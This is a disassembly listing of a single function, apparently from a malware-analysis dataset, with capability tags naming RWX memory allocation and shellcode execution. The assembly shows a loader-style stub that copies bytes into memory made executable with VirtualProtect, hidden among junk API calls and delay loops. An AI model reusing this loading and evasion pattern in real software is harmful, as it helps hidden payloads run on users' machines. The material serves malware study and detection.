Function at 0x405054
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Move file
Read file on windows
Terminate thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x102c
call fcn.0040ef50
push ebx
push esi
xor esi, esi
cmp dword [0x5a0140], 0x5b1
push edi
jne 0x405128
push esi
lea eax, [ebp - 0x1028]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push 0x40493c
push esi
call fcn.00405be3
push esi
call fcn.004062a7
add esp, 0xc
push esi
push esi
push esi
push esi
call fcn.00405e9a
pop ecx
pop ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404cb0
fstp st(0)
push ecx
push ecx
mov eax, esp
mov dword [eax], esi
push ecx
mov dword [eax + 4], esi
push ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404cd3
fstp st(0)
push esi
call fcn.004059cb
pop ecx
push esi
push esi
call fcn.00405f3e
push esi
push esi
call fcn.004059d6
call fcn.00405493
push esi
call fcn.00405b08
add esp, 0x10
mov dword [esp], esi
call fcn.00404d06
fstp st(0)
push esi
call fcn.0040687d
add dword [0x5a0140], 0x1134b
push dword [0x5a0140]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0xc]
push ecx
push 0x40
push dword [0x5a0140]
mov dword [0x59f094], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edi, edi
cmp dword [0x5a0140], esi
jbe 0x4051b2
cmp dword [0x5a0140], 0xa8
mov eax, dword [0x5a0144]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x59f094]
mov byte [ecx + edi], al
jne 0x4051a9
push esi
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0xc28]
push eax
push 0x404944
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
inc edi
cmp edi, dword [0x5a0140]
jb 0x405161
xor ebx, ebx
mov eax, dword [0x5a0140]
add eax, ebx
cmp eax, 0xe
jne 0x405287
push 0x404964
push 0x404988
push 0x404994
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
lea eax, [ebp - 0x1028]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
push esi
call dword [sym.imp.USER32.dll_SetMenu]
push 0x4049a0
push esi
call dword [sym.imp.USER32.dll_LoadBitmapA]
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
xor eax, eax
mov word [ebp - 0x24], ax
lea edi, [ebp - 0x22]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [ebp - 0x828]
push eax
push 0x4049a8
lea eax, [ebp - 0x24]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
call dword [sym.imp.KERNEL32.dll_GetACP]
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0x404a5c
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
inc ebx
cmp ebx, 0x39621
jl 0x4051b4
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
push esi
call edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp ebx, 0x206d47
jg 0x4052be
inc ebx
cmp ebx, 0x4f6a4
jl 0x40529c
mov ebx, 0x4e320c
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuA]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffW]
call dword [sym.imp.USER32.dll_GetMessagePos]
dec ebx
jne 0x4052c3
call fcn.00404f96
push esi
call edi
cmp ebx, 0x26
jne 0x4052ef
call fcn.0040503a
inc ebx
cmp ebx, 0x6753f
jl 0x4052e2
push 0x7b
pop edi
cmp dword [0x5a0140], 0x86
jne 0x405359
push esi
lea eax, [ebp - 0x1028]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push 0x404a74
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileType]
push esi
push esi
push 0x404a98
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0x404ac0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push esi
lea eax, [ebp - 0x828]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
dec edi
jne 0x4052fb
call fcn.00404d4a
pop edi
pop esi
pop ebx
leave
ret